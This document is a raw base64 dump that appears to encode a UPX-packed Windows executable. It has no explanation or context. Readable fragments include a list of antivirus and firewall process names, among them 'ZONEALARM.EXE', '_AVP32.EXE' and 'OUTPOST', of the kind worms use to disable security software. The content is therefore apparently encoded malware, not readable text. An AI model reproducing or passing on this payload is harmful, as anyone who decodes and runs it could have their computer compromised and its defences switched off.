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
yNRW2wXI4vRgri4wfvJj2i+h2TprKURzQ3KxOavhxhrpY0PpT1QEDJEBRqevDkvA
rfWm11wC/8ojAFByMG4h72HCZjRSc1AVM0DKgtEMVppmAVv/dwxTUtGrNbj20kTa
s0HoACfOLKcNwuMrZydyd2hMx41o0gsLTzwG481mFAsT/WiCgSI59ennwxa+2LAm
CztE/2ytuRp0A2DEUbBqLAbTJiGzJl6smiCDBrtAqgOlcAe+VZMjchX7kMNegKMr
knVeZrZwsbslCg1w3uakb1XrVbH40EUEDzNm0kdRSInmHtXSRP2jPxMUrKE1AUNy
I6kFYEb3N0UWI9ZbdUVM9URMTA8o799BrVJ3U05USFJFQUQACzbs7ZBMUwVSQ0gN
AP///1+WMAd3LGEO7rpRCZkZxG0Hj/RqcDWlY+mjlWT/////njKI2w6kuNx5HunV
4IjZ0pcrTLYJvXyxfgctuOeRHb//////kGQQtx3yILBqSHG5895BvoR91Noa6+Td
bVG11PTHhdML////g1aYbBPAqGtkevli/ezJZYpPXAEU2WwGKD3//2/8D/r1DQiN
4G47XhBpTORBYNVycWei0eQDPEf/////1ARL/YUN0mu1CqX6qLU1bJiyQtbJu9tA
+bys42zYMnX/////XN9Fzw3W3Fk90ausMNkmOgDeUYBR18gWYdC/tfS0ISP/////
xLNWmZW6zw+lvbieuAIoCIgFX7LZDMYk6Quxh3xvLxH/////TGhYqx1hwT0tZraQ
Qdx2BnHbAbwg0pgqENXviYWxcR//////tbYGpeS/nzPUuOiiyQd4NPkAD46oCZYY
mA7huw1qfy3gFy7wPW0IlyyRAfnm9FFra////4XqHNgwZYVOAGLy7ZUGbHulARvB
9AiCV8QP//+/8PXG2bCw6bcS6ri+i3yIufzfHd1iSS3aFfN8f2nh/9OMZUzU+1hh
sk3OLDphvKPiMLvU///f/kGl30rXldhhxNGk+/TW02rpaUP82W40RohnrdD/////
uGDacy0EROUdAzNfTAqqyXwN3TxxBVCqQQInEBALvob//43/IAzJJbVoV7OF7gnU
Zrmf5GHODvneXpjJ2Sn/////IpjQsLSo18cXPbNZgQ20LjtcvbetbLrAIIO47baz
v5r/////DOK2A5rSsXQ5R9Xqr3fSnRUm2wSDFtxzEgtj44Q7ZJT/////PmptDaha
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
